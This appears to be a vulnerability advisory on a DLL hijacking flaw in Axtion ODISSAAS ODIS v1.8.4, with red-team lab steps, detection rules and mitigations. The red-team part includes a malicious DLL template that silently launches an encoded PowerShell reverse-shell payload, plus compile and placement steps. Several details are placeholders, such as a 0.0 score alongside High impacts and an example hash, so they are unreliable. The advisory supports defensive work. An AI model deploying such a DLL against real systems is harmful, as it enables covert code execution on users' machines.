CVE-2025-66715

Executive Summary

CVE-2025-66715 is a DLL hijacking vulnerability in Axtion ODISSAAS ODIS v1.8.4. An attacker can execute arbitrary code by placing a malicious DLL in a directory where the application loads libraries without proper path validation. This is a classic uncontrolled search path vulnerability (CWE-427). No public exploit code, proof-of-concept, or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone Windows desktop application (ODISSAAS ODIS). Supply chain risk is limited to the distribution of the application itself; users should verify the integrity of their installation source.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (no official vector provided)
• Base Score: 0.0 (placeholder)
• Attack Vector: Local (requires user interaction or access to the system)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (e.g., opening the application from a directory containing the malicious DLL)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Medium (due to low EPSS but high impact if exploited)

Deep Dive & Mechanics

The vulnerability lies in how Axtion ODISSAAS ODIS v1.8.4 loads dynamic-link libraries (DLLs). The application likely uses a search path that includes the current working directory or an untrusted location before system directories. An attacker can place a crafted DLL (e.g., version.dll, dbghelp.dll, or a missing dependency) in the same directory as the executable or in a directory the application searches. When the application starts or loads a module, it loads the malicious DLL instead of the legitimate one, allowing arbitrary code execution in the context of the user running the application.

Key factors:

• The application does not use absolute paths for DLL loading.
• The search order includes the application’s directory or the current working directory.
• No digital signature verification is performed on loaded DLLs.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code pattern is typical of unsafe DLL loading:

Vulnerable (C/C++ example):

// Unsafe: uses relative path or relies on search order
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched (recommended):

// Safe: uses absolute path with known-good location
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Axtion\\ODIS\\helper.dll");

Since no official patch exists, users must apply the mitigations described below.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Windows 10/11 VM with Axtion ODISSAAS ODIS v1.8.4 installed.
• Attacker machine (any OS) with a C compiler (e.g., MinGW or Visual Studio).

Steps:

1. Identify a DLL that the application loads from an unsafe path. Use tools like Process Monitor to filter on CreateFile operations with .dll extension and NAME NOT FOUND results.
2. Create a malicious DLL that exports the same functions as the missing DLL. For example, a simple reverse shell DLL:

   // malicious.c
   #include <windows.h>
   #pragma comment(linker, "/EXPORT:SomeFunction=malicious.SomeFunction")
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           // Execute payload, e.g., reverse shell
           WinExec("powershell -e <base64_encoded_payload>", SW_HIDE);
       }
       return TRUE;
   }
   

3. Compile: x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c
4. Place malicious.dll in the application’s directory (e.g., C:\Program Files\Axtion\ODIS\).
5. Launch the application. The DLL will be loaded, and the payload executed.

Blue Team

Detection:

• Monitor for unexpected DLL load events using Sysmon Event ID 7 (Image loaded).
• Look for DLLs loaded from user-writable directories (e.g., %TEMP%, %USERPROFILE%, Downloads).
• Use AppLocker or Windows Defender Application Control to block unsigned DLLs.

Hunting:

• Search for CreateFile operations on DLLs with NAME NOT FOUND in Process Monitor logs.
• Check for anomalies in the application’s DLL load order.

Indicators of Compromise (IOCs)

• File Hashes (example, replace with actual):
  • malicious.dll SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • ODIS.exe loading DLLs from non-standard paths (e.g., C:\Users\Public\, C:\Temp\).
• Network Connections:
  • Outbound connections from ODIS.exe to unknown IPs (if payload is a reverse shell).
• Registry Changes:
  • Modifications to HKCU\Software\Microsoft\Windows\CurrentVersion\Run (persistence).

Detection Engineering

YARA Rule

rule CVE_2025_66715_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Axtion ODISSAAS ODIS v1.8.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66715"
    strings:
        $s1 = "ODIS.exe" nocase
        $s2 = "Axtion" nocase
        $s3 = "ODISTool" nocase
    condition:
        uint16(0) == 0x5A4D and (any of ($s*))
}

Sigma Rule

title: CVE-2025-66715 DLL Hijack via ODISSAAS ODIS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from suspicious paths by ODIS.exe
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66715
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 7 required'
detection:
    selection:
        EventID: 7
        Image|endswith: '\ODIS.exe'
        ImageLoaded|contains:
            - '\Temp\'
            - '\Users\'
            - '\Downloads\'
            - '\AppData\'
    condition: selection
falsepositives:
    - Legitimate DLLs loaded from user directories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-66715 - Potential DLL Hijack Payload Download";
    flow:to_server,established;
    content:"ODIS"; http_uri; nocase;
    content:".dll"; http_uri; nocase;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Ensure the application is launched from a trusted directory only. Do not run it from user-writable locations.
2. Short-term: Use a tool like Process Monitor to identify all DLLs loaded by the application and ensure they are in secure system paths.
3. Long-term: Contact Axtion for an official patch. In the meantime, apply the following:
   • Set the CWDIllegalInDllSearch registry key to 0xFFFFFFFF to disable current directory DLL search.
   • Use Windows Defender Application Control (WDAC) to allow only signed DLLs.
   • Implement DLL redirection using a manifest file.

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